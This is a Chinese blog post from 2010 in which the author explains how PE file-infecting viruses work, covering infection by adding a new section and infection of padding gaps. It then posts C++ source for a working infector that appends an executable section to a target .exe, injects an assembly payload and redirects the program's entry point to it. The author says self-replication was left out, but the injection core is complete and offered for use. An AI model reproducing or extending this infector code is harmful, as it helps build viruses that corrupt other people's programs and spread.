印记城

夕阳,枯草,蝶双飞

PE病毒

巫妖【苏】 posted @ 2010年5月09日 01:39 in 未分类 , 1246 阅读

前些日子风风光光的熊猫烧香病毒,看起来很牛逼,那个作者刚放出来还装B,说啥,他和他的朋友已经在国内是最顶尖的水平了,我都懒的说他了..算了,正好C#课设没事干,就写一个类似的,虽然可能功能上没他的齐全(毕竟人家靠这吃饭的~~),不过原理上是一样的哈

PE病毒其实很简单,只要了解PE结构就可以了,一般分为有节感染和无节感染

 

有节感染:就是给PE文件自己申请一个节,然后讲自己的病毒代码注入进去,然后修改程序的入口地址,转向自己的代码,完成后,在把控制权还给原程序,原理很简单,操作也不复杂(后面有代码为证)

无节感染:也很简单,原理是磁盘上放置的文件都是按照一簇(一般为200H)对齐的,不足的地方补0,我们就把自己的代码注入到这些“缝隙处”,然后和上面一样的操作,如下图

 
 
 
上面的那些00填充的就是我所说的缝隙
 
当然这里面难点并不是注入那些
反而是资源重定位,比如你注入一个函数你要调用messagebox(NULL,"123",NULL,NULL)
如果你直接这样写,那绝对是不对的
messagebox(NULL,NULL,"123",NULL)
反编译之后为
push 0
push 0
push offset "123"
push 0
call dword[********]
会有2个错误
1.第二个参数压入的是偏移地址,是你加载程序里面的偏移地址,此地址在注入目标程序内根本无效
2.call dword[*******]更有问题,因为编译器需要区分外来函数和本土函数的区别,它会多使用5字节来判断
也就是
       call dword[x]
x:    jmp   真正地址
而这个X地址明显也是加载程序里面的偏移地址
 
所以这个问题反而是关键性的问题,本程序里面只是解决了一点,利用堆栈传参,再加上一部分硬代码,才解决的,不过如果想要和在自家程序那样使用参数还是不行的,这也是后续开发要解决的一个难点
 
好了不扯淡,直接上代码
#include <windows.h>
#include <iostream>
#include<tlhelp32.h>
#include<windows.h>
using namespace std;

#pragma data_seg(".mydat")															//申请一个新的段
#pragma code_seg(".shell")
#pragma const_seg(".constdata")
#pragma comment(linker,"/SECTION:.mydat,RWE")										//告诉编译器新的段
#pragma comment(linker,"/SECTION:.shell,RWE")
#pragma comment(linker,"/SECTION:.constdata,RWE")									
#pragma comment(linker,"/MERGE:.mydat=.shell")										//合并段
#pragma comment(linker,"/MERGE:.constdata=.shell")
#define Recode _asm call A _asm A: _asm pop  ebx _asm lea eax, A _asm sub ebx,  eax
#define VA_END  -2

DWORD GetProcessIdFromName(LPCTSTR name) ;
void Fun2();
int Invoke(char*pDllName, char*pFunName, ...);

typedef HINSTANCE (WINAPI *pLoadLibraryDef)(LPCTSTR);
typedef DWORD (WINAPI *pMsgBoxDef)(DWORD,DWORD,DWORD,DWORD);

DWORD dwOldEntry = 0;

void WINAPI Fun1()
{
	__asm
	{
		    PUSH  0x00333231 
			MOV   EAX, ESP
			PUSH  0
			PUSH  0
			PUSH  EAX
			PUSH  0
			mov eax,0x77d5058a
			CALL  eax
			ADD   ESP,  4	
	}
	_asm
	{
			_EMIT 0xE9
			_EMIT 0x83
			_EMIT 0xB0
			_EMIT 0xFF
			_EMIT 0xFF
	}

}

void End() 
{

}


int Align(int nSize, int n)
{
  if(nSize % n)
  {
    int num = nSize / n;
    return (num + 1) * n;
  }
  return nSize;
}


#define DOS IMAGE_DOS_HEADER
#define NT IMAGE_NT_HEADERS
#define SEC IMAGE_SECTION_HEADER

int main() 
{
  MessageBox(NULL,"123","1",NULL);
  DWORD dwCodeSize = (DWORD)End - (DWORD)&dwOldEntry, dwSize = 0, dwOldEntry1 = 0;
  HANDLE hFile = CreateFile("c:\\Dialog.exe", GENERIC_READ | FILE_SHARE_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
  HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL);
  PVOID pFile = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL);
  IMAGE_NT_HEADERS* stNT = (NT*)((char*)pFile + ((DOS*)pFile)->e_lfanew);
  IMAGE_SECTION_HEADER* stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));
  IMAGE_SECTION_HEADER* stLastSec = &stSec[stNT->FileHeader.NumberOfSections - 1];
  IMAGE_SECTION_HEADER* stNewSec = &stSec[stNT->FileHeader.NumberOfSections];
  DWORD dwFileAlign = stNT->OptionalHeader.FileAlignment;
  DWORD dwCodeAlign = stNT->OptionalHeader.SectionAlignment;
  stNT->FileHeader.NumberOfSections = stNT->FileHeader.NumberOfSections + 1;
  
  //设置新的节属性
  strcpy((char*)stNewSec->Name, ".CIW");
  stNewSec->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE;
  stNewSec->VirtualAddress = stLastSec->VirtualAddress + Align(stLastSec->Misc.VirtualSize, dwCodeAlign);
  stNewSec->PointerToRawData = stLastSec->PointerToRawData + stLastSec->SizeOfRawData;
  stNewSec->SizeOfRawData = Align(dwCodeSize, dwFileAlign);
  stNewSec->Misc.VirtualSize = Align(dwCodeSize, dwCodeAlign);
  
  stNT->OptionalHeader.SizeOfCode += stNewSec->Misc.VirtualSize;
  stNT->OptionalHeader.SizeOfImage += stNewSec->Misc.VirtualSize;

  //移动文件指针(文件实际内容是分节存放的,在内存中是分页存放的)
  SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN);
  WriteFile(hFile, &dwOldEntry, stNewSec->Misc.VirtualSize, &dwSize, NULL);
  SetEndOfFile(hFile);

  dwOldEntry1 = stNT->OptionalHeader.AddressOfEntryPoint + stNT->OptionalHeader.ImageBase;
  SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN);
  WriteFile(hFile, &dwOldEntry1 , 4, &dwSize, NULL);

  stNT->OptionalHeader.AddressOfEntryPoint = stNewSec->VirtualAddress + (DWORD)Fun1 - (DWORD)&dwOldEntry;

  FlushViewOfFile(pFile, stNT->OptionalHeader.SizeOfHeaders);

  UnmapViewOfFile(pFile);
  CloseHandle(hMapFile);
  CloseHandle(hFile);  
  
  return 0;
}
 

注:目前代码只是一个不完整,为了控制破坏性,没有加上自传染,只是感染一个目标文件

Avatar_small
Comprar seguidores 说:
2020年9月02日 20:23

Blog incrível. Eu gostei de ler seus artigos. Esta é realmente uma ótima leitura para mim. Eu marquei e estou ansioso para ler novos artigos.


登录 *


loading captcha image...
(输入验证码)
or Ctrl+Enter

Host by is-Programmer.com | Power by Chito 1.3.3 beta
Butterfly Theme | Design: HRS Hersteller of mobile Hundeschule.